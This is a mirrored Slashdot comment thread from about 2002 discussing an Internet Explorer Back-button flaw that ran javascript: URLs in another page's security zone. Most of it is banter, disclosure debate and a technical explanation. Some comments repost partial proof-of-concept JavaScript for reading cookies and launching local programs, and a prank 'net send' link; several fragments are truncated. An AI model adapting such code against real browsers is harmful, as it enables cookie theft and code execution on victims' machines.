Slashdot Mirror
Don't Hit That Back Button
Saint Aardvark writes: "From the Bugtraq mailing list comes this warning: 'Using the Back Button in IE is dangerous'. When hitting the back button, javascript links will be executed in the security zone of the last url viewed. Proof-of-concept included in the warning will execute minesweeper or read your Google cookies."
Attack of the Back Button -- "Getting stuck on a web page can be painful. The back button doesn't always work. While there are many ways to escape from web pages, many users don't know the tricks. A company can stop hurting users by doing more testing, using proper development methods, and being aware of the issue."
How to Download YouTube Videos
I don't have anything special in my Google cookies and I like to play minesweeper.
Q: Internet Explorer has a lot of security bugs. What do I do?
A: Install Mozilla.
Q: Windows has a lot of security bugs. What do I do?
A: Install Linux.
Q: Somebody cracked into my default installation of Red Hat 6.2. What do I do?
A: Didn't you RTFM? Everybody knows that you have to keep patching the system to keep people out of it! Why don't you go to Windows, dumbass?
If they had waited til tomorrow, they'd have known about M$'s fix for this dangerous security hole. SP3 for IE6 patches it up fine though. That's right, when you mouseover the back button, a popup text alerts you that it might be dangerous (that M$ can't be held responsible for damages resulting from its use?). Also, the "Safe Back Button" is now next to it, but to get it out the door in time, they've had to rush. Yes folks, it uses the exact same codebase as the back button, and no, I don't see that as a problem. Besides, if it is, they'll fix it with SP4, and the "Really Safe Back Button". Right along side the other two, for backward compatibility.
I copied the source from the (now Slashdotted) page and created an HTML file at http://www.eg.bucknell.edu/~ekrout/IE_Hack.html for those of you with IE to test it out. If you want, reply to this post and let everyone know if it works with your browser, Windows version, etc.
This is a very troubling security hole for Windows users who prefer IE (99.7% of them).
Founder, monolinux
If you celebrate Xmas, befriend me (538
Back in 1999, when the dot-coms were flying high and my company resembled an Internet startup (although we had been in business since 1992), we hastily set up new offices and cubicles with little regard for information security. After all, what was the worst that could happen - an email worm? Well, we quickly found out: a malicious hacker had targeted our company, and sent an email to "all @" my domain containing a link to a supposed Yahoo News story. Unfortunately, this link sent the employees to a malicious site that caused their insecure IE browsers to yield control of nearly every Windows PC in the company to the intruder. They stole and destroyed much important data, and took over a week of nonstop unpaid overtime to fix things.
A few weeks after the incident, our vice president of operations mandated a Mozilla-only policy. Employees were forbidden from running IE, Lynx (another notoriously insecure browser), and Konqueror (which crashed constantly anyway). Since that time, we have had zero browser related security issues, and employees waste far less time surfing the web, mainly because a lot of time-wasting sites only work in Microsoft standards-compliant browsers. Converting to Mozilla has been a win-win situation, and I fully expect the same to be happening across America after this latest IE security breach. Enough is enough; we need to take back control of our networks.
"Microsoft contacted 12 Nov 2001, additional information given 25 Mar 2002."
That's pretty long time (5-6 months, too lazy to figure out the actual number of days etc.) that Microsoft has done nothing (at least not a fix). Especially because this overlaps the time when they decided to make their people go to security workshops (or some such). If they can't even fix a known, reported bug in the security how can they find them on their own and fix them? Or not write them in the future?
Oh yeah, it'd be nice to know if I can get around this by doing "right-click" / "back" or if that is affected and not JUST the toolbar.
No sig for you.
Bench the latest Mozilla build (turn off debugging and turn on optimization, just like a normal release build) and post that again. Of course, to really shine, run it on Linux or a free BSD.
Seriously, it's fast and its implementation of little things like CSS (which as far as I'm concerned is the future of online content) is light years ahead if IE anyways.
Then again, you might be interested to know that as of IE 5.5, IE was backported from the Macintosh version. That's right, the MS-IE-Mac-port team did it so much better that they backported it to Windows. That's where the speed and decent standards support came from!
I think that this goes to show that Microsoft doesn't re-write something from scratch on purpose. They had to force their Mac team to basically do so (because, like, it's IE not on Windows, you have to redo a bunch of stuff) before they figured out that they needed to reimplement. The sad thing is that they don't seem to be willing to do it where it counts, no matter how "security focused they become" they don't ever figure out that it's impossible to effectively rewrite Windows "a piece at a time".
I think Mauve has the most RAM. --PHB (Dilbert Comic)
I think your reffering to JavaScript orginally called livescript by Netscape before the Java buzz hit. JavaScript has nothing to do with Java. Java is relatively secure by most standards.
http://diesel.2y.net/mine.htm
my McAfee VirusScan already checks for this bug.
THERE IS NO DATA. THERE IS O
If you read the exploit, you would see why this would not be possible.
You do not need to actually press the button, but you need to do it from a trusted page.
I'm a concientious
When I spent hours in labs browsing with Netscape 2.0...
When a webpage wasn't something you had to figure out how to escape...
When 'Back' meant back...
When there was just smooth uninterrupted navigation, and no pop-ups or banners...
When people could say pretty much say anything anywhere, no DMCA...
... remember that?
The coolest voice ever.
If MS had responded back in November when he made the sploit known, or if they had even thought once about security when designing IE, or if they had any kind of decent security model in the OS, or, or, or... then this never would have happened in the first place and MS wouldn't have to patch the barn door after the horse had left. But don't blame the guy who discovered this by trotting out that "don't tell anyone about the security hole until the vendor can fix it" pablum. Security through obscurity isn't, especially when that obscurity is driven my the needs of the marketing group.
You find a hole, you do due dilligence, they don't respond (he gave them months to fix it fer cryin' out loud), you publish. Then, most likely, the vendor publishes a fix based on the real needs of users and not the perceived needs of some business unit looking at a bottom line.
It boggles my mind that one could have a machine rooted simply by browsing the web. A die-hard MS nut at work today was giving me grief over the fact that Red Hat has "published" 500MB of "updates" to "Linux" since version 6.2 and how could the OS be so insecure as to need that many updates... I didn't even have the energy to respond. And I'm all for people running with whatever works for them, but at least I know for a fact that Opera on my machine runs in userland and won't get me rooted. And hopefully, using your favorite browser won't mean data loss and/or a re-image of the OS as well.
But to blame the guy who discovered it? I mean, honestly, for fsck's sake: we're talking about a web browser, you know? Completely compromising a machine via a back button? And it's been known for five months?!? At least MS could tell users to run another browser until they can fix the issue. Or turn scripting off. Or whatever. The fact that it could happen in the first place is just obscene. Or criminal. MS leaves a bad taste in my mind sometimes...
-B
Ash and Hickory, straight-grained and true, make excellent bludgeons, dandy for the cudgeling of vegetarians.
I found the same bug in Mozilla last summer while I was working at Netscape. My boss fixed it within a week, so versions after Mozilla 0.9.3 did not have the bug. It was bug 88167 if you're interested. I'm not sure why I didn't notice that IE was vulnerable as well. Anyone want to go through old Mozilla security holes and see how many of them affect IE 6?
Anyway, keep using that Back button. If you're using IE to browse warez/porn, you have more to worry about than someone looking at your cookie for another site. An attacker could just copy the IE exploit of the week from
http://jscript.dk/unpatched/. I believe that page has had current IE security holes that allow running arbitrary instructions for two months straight. (That means you can keep up with the latest IE patches, but if an attacker reads jscript.dk and can get you to click a link in AIM or read a message in OE, the attacker wins.)
By the way, what's with IE turning every cross-domain hole into a full remote compromise by letting sites link to res: urls? Current versions of Mozilla block links to chrome/res and even file, so a cross-domain hole doesn't even let sites read local files.
The shareholder is always right.
Yes there is, and you're looking at it right now.
Read, people... Read, then make comments. It's not that difficult.
Here is a way do disable this nasty bug. It should work in all affected versions of IE:
1. Right click the toolbar, and select "Customize"
2. Select "Back" in the list marked "Current toolbar buttons"
3. Click the "Remove" button.
4. Click close.
There! Now that bug has been squashed. I suggest you implement this in all corporate deployments of IE pronto.
Even if an executable were encoded in the link would the end user not be simply warned that they are attempting to download an executable, as with any other URL that served them an executable?
It's only a security hole if delivering the content via the data URL is treated differently than getting it via an http, ftp or javascript one.
Boffoonery - downloadable Comedy Benefit for Bletchley Park
.. do a little something like this:
m 32/net send * \"HI EVERYBODY IN THE OFFICE! I AM LOOKING AT PORN!\"')">CLICK FOR BOOBIES</a>
<a href="javascript:execFile('file:///c:/winnt/syste
Good thing security is MicroSoft's number one focus now!
7 November 2006: The day Americans realized corruption and incompetence weren't addressing 11 September 2001
First off, had you bothered to do any research, RFC 2397 defines the data: URL scheme--this isn't some Mozilla debug thing, as you foolishly asserted. Second, you haven't actually demonstrated how this behaves differently from a normal URL. If you click http://this.is.a.url/ and the document at the end has a meta refresh to goatse.cx, how is that different from a data: URL (other than the data:URL being easier to spot)? Same deal with a shell script or .exe; it won't autorun any more than if you clicked on a link and got in through HTTP.
/. moderation in succumbing to a good line of BS.
I'm not sure whether you actually believe you've found a vulnerability, or are just trolling for Konqueror; either way, it illustrates the weakness of
I wouldn't call this a "dumb ass bug". It's subtle, and finding it requires being aware of several things and thinking to combine them:
* javascript: URLs run in the security domain of the page from which they originate. (Or, if they're stored in the user's bookmarks, they run as part of the current page, letting them do cool things like show the HTML source of the selection.)
* If a javascript: URL returns a non-null value, it acts like a data: URL. For example, javascript:1+2;3+4 is equivalent to data:text/html,7. (Most of the time, this is just an annoyance, forcing you to put "void 0" at the end of a javascript: URL unless you're sure that the last calculation always returns null.)
* It is possible to go "forward" from a javascript: URL.
* The Back button incorrectly runs a javascript: URL in the security domain and context the current page instead of running it with no context or with the context of the page that put the URL in session history.
The fact that the bug was present in both IE and Mozilla until Mozilla 0.9.3 is strong evidence that the hole is not an obvious "dumb ass bug". I only discovered the hole because I make bookmarlets (javascript: URLs) in my free time and was being paid by Netscape to work on Mozilla security last summer.
The shareholder is always right.
Opera cured that problem quite effectively. Since I started using it as my main browser, I can't remember finding a page where back wouldn't work properly. It ignores scripts that try to take it over, and it tracks documents-in-frames properly too, you can go forward and back independently in different frames on framed pages.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Friends don't let friends enable ecmascript.
Damn it! I went to the test page and tried all the links with the back button. Not one of them worked. Not a one. There is a bug in the bug when it comes to Mac OS X and Internet Explorer. Once again as a Mac user, I am getting deprived of the same experience that Windows users get with Internet Explorer.
Strange women lying in ponds distributing swords is no basis for a system of government.
The flaw can be exploited *with out* user interaction ,, use about: and use a body-onload javascript to execute the back button ,, poc html page is attached. u know what this means :P .
// Use if not XP
' )";
----cut here---
Press link and then the backbutton to trigger script.
Run Minesweeper (c:/winnt/system32/calc.exe Win2000 pro)
Run Minesweeper (c:/windows/system32/calc.exe XP, ME etc...)
Read c:\test.txt (needs to be created)
Read Google cookie
// badUrl = "http://www.nonexistingdomain.se";
badUrl = "about: ";
function execFile(file){
alert (badUrl);
s = '';
backBug(badUrl,s);
}
function readFile(file){
s = '';
backBug(badUrl,s);
}
function readCookie(url){
s = 'alert(document.cookie);close();';
backBug(url,s);
}
function backBug(url,payload){
len = history.length;
page = document.location;
s = "javascript:if (history.length!="+len+") {";
s+= "open('javascript:document.write(\""+payload+"\")
s+= ";history.back();} else 'location=\""+url
s+= "\";document.title=\""+page+"\";';";
location = s;
}
---cut here---
_
Get a newer version of mozilla and go into preferences/advanced/scripts and windows.
Turn off the "open unrequested windows" tickbox. Bingo. You now have to click a link before the popup/under will open. Sites can't open them for you.
Buffer overflows... these are implementation-specific bugs and should be easily patchable. However, MS put a lot of functionality into IE (for the most part because it's bundled) and when you look at the separate parts of all this functionality, you don't see exploitable stuff. However, combining parts of the functionality CAN LEAD to a situation that wasn't forseen, and perhaps will lead to a vulnerability.
It's easy to say "Crap!" but it takes a wicked mind to combine the right parts of the functionality of a program to create a hole, a mindset which is obviously not present under the IE designers. (but which should be though).
As a true microsoftie I more and more begin to realize that the bundling should be undone, so the set of functionality build into the webbrowser is simply focussed on what it should do: rendering pages.
Using another browser is not the answer however. The only browser that comes close to IE6 is Netscape/Mozilla, however these browsers are also packed with features you'll probably never need but CAN probably be used to create a hole when combined with other functionality in the program.
Never underestimate the relief of true separation of Religion and State.